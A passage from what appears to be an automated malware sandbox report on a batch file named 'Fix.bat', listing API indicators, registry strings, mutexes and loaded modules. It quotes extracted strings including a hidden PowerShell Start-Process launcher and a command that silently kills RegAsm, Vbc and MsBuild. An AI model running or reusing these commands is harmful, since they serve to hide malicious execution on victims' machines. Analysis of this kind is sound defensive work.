"00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001496.00000000.152207.A66C3000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00001612.00000000.152853.99A10000.00000004.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00001612.00000000.152853.99A10000.00000004.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00001612.00000000.152853.99A10000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001612.00000000.152853.99A10000.00000004.mdmp")34:Te83,Found string "=powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumeGOTO" (Indicator: "Start-Process"; File: "Fix.bat"), Found string "SET =powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; File: "Fix.bat") file/memory contains long string with (Indicator: "Start-Process"; File: "AMSI") Found string "Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait" (Indicator: "Start-Process"; File: "AMSI") file/memory contains long string with (Indicator: "Start-Process"; File: "powershell.exe") Found string "powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp"), file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp"), file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp 00000000-00001496.00000000.152207.6B740000.00000004.mdmp 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp"), Found string "+=powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp, 00000000-00001496.00000000.152207.6B740000.00000004.mdmp, 00000000-00001496.00000000.152207.6B7B0000.00000004.mdmp") Found string "powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp"), Found string "+=powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00001612.00000000.152853.FEF80000.00000004.mdmp, 00000000-00001612.00000000.152853.FF250000.00000004.mdmp, 00000000-00001612.00000000.152853.FF770000.00000004.mdmp") Found string "powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp"), Found string ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait" (Indicator: "Start-Process"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp"), Found string "Start-Process" (Indicator: "Start-Process"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp 00000000-00004416.00000000.153873.E94B0000.00000004.mdmp 00000000-00004416.00000000.153873.EAE40000.00000004.mdmp"), Found string "+=powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp, 00000000-00004416.00000000.153873.E94B0000.00000004.mdmp, 00000000-00004416.00000000.153873.EAE40000.00000004.mdmp") Found string ""Start-Process p" (Indicator: "Start-Process"; Source: "00000000-00004416.00000000.153873.E91E0000.00000004.mdmp"), Found string "powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp") Found string "+=powershell -Command "Start-Process powershell -WindowStyle Hidden -Argume" (Indicator: "Start-Process"; Source: "00000000-00007560.00000000.153901.2E750000.00000004.mdmp 00000000-00007560.00000000.153901.2E8B0000.00000004.mdmp 00000000-00007560.00000000.153901.301C0000.00000004.mdmp")35:T715,"Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" in Source: 00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001496.00000000.152207.6B4E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001496.00000000.152207.6D7E0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001496.00000000.152207.A66C3000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00001612.00000000.152853.99A10000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001612.00000000.152853.99A10000.00000004.mdmp36:T7d5,Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3788:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:3788:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1496:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1496:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "Local\SM0:1496:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:1496:304:WilStaging_02" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "SM0:1496:120:WilError_03" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1496:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1612:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1612:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1612:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:1612:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:1612:304:WilStaging_02"37:Teae,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:ffffffffc0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:ffffffffc0000135]38:T46e6,"cmd.exe" loaded module "KERNEL32" at base 7ffcef710000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffcedf90000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffcedf90000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffcedf90000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffceed20000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffcedf90000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffcedf90000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffcedf90000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffcef710000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffcf07f0000 "cmd.exe" loaded module "KERNELBASE" at base 7ffcedf90000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffcecc60000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffcedf90000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffcedf90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffcedf90000 "powershell.exe" loaded module "KERNEL32" at base 7ffcef710000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffcef710000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffcf0700000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffcc4e40000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffcee650000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffcecc60000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffce3970000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffcb35a0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffcf04f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffcedf90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffcc4ee0000 "powershell.exe" loaded module "NTDLL" at base 7ffcf07f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffcee990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffcb1fe0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffceee80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffcef4f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffcee990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffcee6b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffcb13c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffcb0930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffcc57a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffcecbd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffcede50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffcae8b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffcee990000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffcee990000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffcf07f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffcef960000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffcee5f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffcee410000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffcdffb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffcee480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffce3970000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffcdfe60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffcee480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ICB20R7L.DLL" at base 7ffcd1930000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffced400000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffcc88c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffcdd170000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffcdd150000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffcd1110000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffce5950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffcbfb90000 "powershell.exe" loaded module 